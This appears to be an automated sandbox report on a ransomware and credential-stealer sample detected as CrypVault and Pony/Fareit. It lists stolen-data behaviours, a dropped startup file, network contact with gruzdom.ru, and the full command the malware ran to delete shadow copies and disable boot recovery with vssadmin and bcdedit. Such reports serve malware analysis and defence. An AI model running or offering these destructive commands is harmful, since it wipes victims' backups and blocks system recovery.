Analysis Overview
SHA256
3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e
Threat Level: Known bad
The file 3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e was found to be: Known bad.
Malicious Activity Summary
Pony,Fareit
CrypVault
Process spawned unexpected child process
Deletes shadow copies
Modifies boot configuration data using bcdedit
Reads user/profile data of web browsers
Checks computer location settings
Drops startup file
Accesses Microsoft Outlook profiles
Checks installed software on the system
Accesses Microsoft Outlook accounts
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
outlook_win_path
Modifies registry class
Modifies Internet Explorer settings
Interacts with shadow copies
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-12-23 14:36
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-12-23 14:36
Reported
2022-12-23 14:38
Platform
win7-20220812-en
Max time kernel
43s
Max time network
46s
Command Line
Signatures
CrypVault
Pony,Fareit
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Checks installed software on the system
Enumerates physical storage devices
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe
"C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\VAULT.hta"
C:\Windows\SysWOW64\wbem\WMIC.exe
"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
C:\Windows\system32\cmd.exe
cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled no
C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | gruzdom.ru | udp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
Files
memory/1756-54-0x0000000000400000-0x0000000000417000-memory.dmp
memory/1756-55-0x0000000076871000-0x0000000076873000-memory.dmp
memory/1756-56-0x0000000000220000-0x000000000022F000-memory.dmp
memory/1712-58-0x0000000000000000-mapping.dmp
C:\Users\Admin\Desktop\VAULT.hta
| MD5 | 1cf60361078e1c2f1219d27c4b3e760c |
| SHA1 | 08d350d205da687672b13e22b253932dd1708e75 |
| SHA256 | c2d9c1bd8bb434dffd5ebbd0e8020ee73123f2e8134b19cbde4b6458f0d05a43 |
| SHA512 | 90f973c08c663dc7ca8575196ca2d6939bbeb9e1943268e8c8bae3b5cd895e85f654726924c86a0f1ffca4830f05c75ac6e80b44d4adeff345e9ff2cacaacccb |
memory/688-60-0x0000000000000000-mapping.dmp
memory/704-61-0x0000000000000000-mapping.dmp
memory/552-62-0x0000000000000000-mapping.dmp
memory/1632-63-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-12-23 14:36
Reported
2022-12-23 14:38
Platform
win10v2004-20221111-en
Max time kernel
121s
Max time network
128s
Command Line
Signatures
CrypVault
Pony,Fareit
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process | N/A | C:\Windows\system32\cmd.exe |
Deletes shadow copies
Modifies boot configuration data using bcdedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
| N/A | N/A | C:\Windows\system32\bcdedit.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VAULT.hta | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Checks installed software on the system
Enumerates physical storage devices
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe
"C:\Users\Admin\AppData\Local\Temp\3f9bfbb9ac8cde1e7038b66d961dd149be2f86348c0a30d4455cffed6dc1614e.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\VAULT.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\wbem\WMIC.exe
"C:\Windows\System32\wbem\WMIC.exe" process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
C:\Windows\system32\cmd.exe
cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /quiet
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled no
C:\Windows\system32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | gruzdom.ru | udp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 93.184.220.29:80 | tcp | |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 92.53.96.13:80 | gruzdom.ru | tcp |
| N/A | 20.42.65.84:443 | tcp | |
| N/A | 8.253.208.113:80 | tcp | |
| N/A | 8.253.208.113:80 | tcp | |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 52.109.77.1:443 | tcp |
Files
memory/3936-132-0x0000000000400000-0x0000000000417000-memory.dmp
memory/3936-133-0x00000000004A0000-0x00000000004AF000-memory.dmp
memory/508-136-0x0000000000000000-mapping.dmp
memory/512-135-0x0000000000000000-mapping.dmp
C:\Users\Admin\Desktop\VAULT.hta
| MD5 | 1cf60361078e1c2f1219d27c4b3e760c |
| SHA1 | 08d350d205da687672b13e22b253932dd1708e75 |
| SHA256 | c2d9c1bd8bb434dffd5ebbd0e8020ee73123f2e8134b19cbde4b6458f0d05a43 |
| SHA512 | 90f973c08c663dc7ca8575196ca2d6939bbeb9e1943268e8c8bae3b5cd895e85f654726924c86a0f1ffca4830f05c75ac6e80b44d4adeff345e9ff2cacaacccb |
memory/3660-138-0x0000000000000000-mapping.dmp
memory/340-139-0x0000000000000000-mapping.dmp
memory/308-140-0x0000000000000000-mapping.dmp